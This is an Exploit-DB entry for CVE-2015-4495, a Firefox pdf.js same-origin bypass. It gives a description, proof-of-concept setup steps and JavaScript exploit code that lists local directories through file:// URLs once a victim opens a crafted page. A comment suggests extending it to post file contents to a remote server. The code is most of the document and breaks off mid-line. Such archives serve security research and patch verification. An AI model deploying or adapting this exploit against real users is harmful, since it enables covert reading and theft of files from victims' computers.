Exploit-DB #37772
Description: Mozilla Firefox < 39.03 - 'pdf.js' Same Origin Policy
Type: local
Platform: multiple
Date: 2015-08-15
Author: Tantaryu MING

Exploit:
/*
# Exploit Title: Firefox < 39.03 pdf.js same origin policy exploit
# Date: 13-08-2014
# Vendor Homepage: https://www.mozilla.org/en-US/firefox/new/
# Software Link: http://ftp.mozilla.org/pub/firefox/releases/39.0/linux-x86_64/en-US/firefox-39.0.tar.bz2
# Version: 39.0 [Should work version before 39.0.3]
# Tested on: Linux (Ubuntu 14.04.3 LTS) [Should probably work in OSX]
# CVE : 2015-4495

# POC code taken from https://github.com/vincd/CVE-2015-4495

1. Description
  This exploit allow attacker to read and copy information on victim's computer, once they view the web site crafted with this exploit.
  
2. Proof of Concept
  Create a index.html and copy and paste the following html into it:
        <!DOCTYPE html>
        <html>
            <head>
                <title>CVE-2015-4495</title>
            </head>
            <body>
                <h1>Test</h1>
                <script type="text/javascript" src="./exploit.js" charset="utf-8"></script>
            </body>
        </html>

    Run the index.html (Make sure the main.js is in the same directory) and we should be able to see the directory listing. 

3. Solution
  Upgrade to the latest firefox ( > 39.0.3)

*/

var start_timeout=2000;
var sandbox_context_i=null;
var DIR_CACHE={};
var FILE_CACHE={};
var hidden=true;
var my_win_id=null;

function start() {
    i=document.getElementById("i");
    i2=document.getElementById("i2");
    if(typeof sandboxContext!=='undefined') {
        clearInterval(intVal);
        var os = navigator.platform;

        if (os.search("Mac") > -1 || os.search("Linux") > -1) {
            // NOTE: Replace the following root directory into any directory of your
            // choice. Can make it an array and loop through it.
            get_dir("/", function(data) {
                // nothing to do here...
            });
        }
    }
}

function parse_directory_listing(dir, data) {
    var pattern = '<tbody><tr><td><a class=';
    var start = 0;
    var listing = 'Listing:\n';

    while ((start = data.search(pattern)) >= 0) {
        var d = data.substring(start + pattern.length + 1),
        end = d.search('>'),
        f = d.substring(0, end);
        f = f.split(' ');
        var t = f[0].substring(0, f[0].length-1);
        var n = f[1].substring(6, f[1].length-1);
        listing += '  [' + t + '] ' + dir + '/' + n + '\n';
        data = d.substring(end);
    }

    // NOTE: Replace with some other useful stuff. Eg: Read the file and do a post
    // request to send all the content to a remote server.
    alert(listing);
}

function get_dir(dir,callback,internal) {
    get(dir,function() {
        data=get_data(this);
        var dir=location.href.toString();
        dir=dir.replace(/^file\:\/\//i,'');
        dir=decodeURIComponent(dir);
        parse_directory_listing(dir, data);
    }, 500, "%target_dir%", dir);
}

function xml2string(obj) {
    return new XMLSerializer().serializeToString(obj);
}

function _(s,template,value) {
    s=s.toString().split(/^\s*function\s+\(\s*\)\s*\{/)[1];
    s=s.substring(0,s.length-1);
    if(template&&value)
        s=s.replace(template,value);

    s+=parse_directory_listing;
    s+=__proto;
    s+=xml2string;
    s+=get_data;
    s=s.replace(/\s\/\/.*\n/g,"");
    s=s+";undefined";

    return s;
}

function __proto(obj) {
    return obj.__proto__.__proto__.__proto__.__proto__.__proto__.__proto__;
}

function get_data(obj) {
    data=null;
    try {
        data=obj.document.documentElement.innerHTML;
        if (data.indexOf('dirListing') < 0) {
            throw new Error();
        }
    } catch(e) {
        if (this.document instanceof XMLDocument) {
            data=xml2string(this.document);
        } else {
            try {
                if (this.document.body.firstChild.nodeName.toUpperCase()=='PRE') {
                    data=this.document.body.firstChild.textContent;
                } else {
                    throw new Error();
                }
            } catch(e) {
                try {
                    if (this.document.body.baseURI.indexOf('pdf.js') >= 0 || data.indexOf('aboutNetError') >- 1 ) {
                        return null;
                    } else {
                        throw new Error();
                    }
                } catch(e) {
                    ;
                }
            }
        }
    }
    return data;
}

function get(path,callback,timeout,template,value){
    callback = _(callback);
    if(template && value) callback = callback.replace(template,value);

    proto_prefix="file://";
    var invisible_code="";
    js_call1='javascript:'+invisible_code+_(function(){
        try {
            open("%url%","_self");
        } catch(e) {
            history.back();
        } undefined;
    }, "%url%", proto_prefix+path);
    js_call2='javascript:' + invisible_code + ';try{updateHidden();}catch(e){};' + callback + ';undefined';
    sandboxContext(_(function() {
        p = __proto(i.contentDocument.styleSheets[0].ownerNode);
        l = p.__lookupSetter__.call(i2.contentWindow,'location');
        l.call(i2.contentWindow, window.wrappedJSObject.js_call1);
    }));
    setTimeout((function() {
        sandboxContext(_(function() {
            p = __proto(i.contentDocument.styleSheets[0].ownerNode);
            l = p.__lookupSetter__.call(i2.contentWindow,'location');
            l.call(i2.contentWindow,window.wrappedJSObject.js_call2);
        }));
    }), timeout);
}

function get_sandbox_context() {
    if(my_win_id==null) {
        for(var i=0;i<20;i++) {
            try {
                if(window[i].location.toString().indexOf("view-source:")!=-1) {
                    my_win_id=i;;break;
                }
            } catch(e) {}
        }
    };
    if(my_win_id==null) return;
    clearInterval(sandbox_context_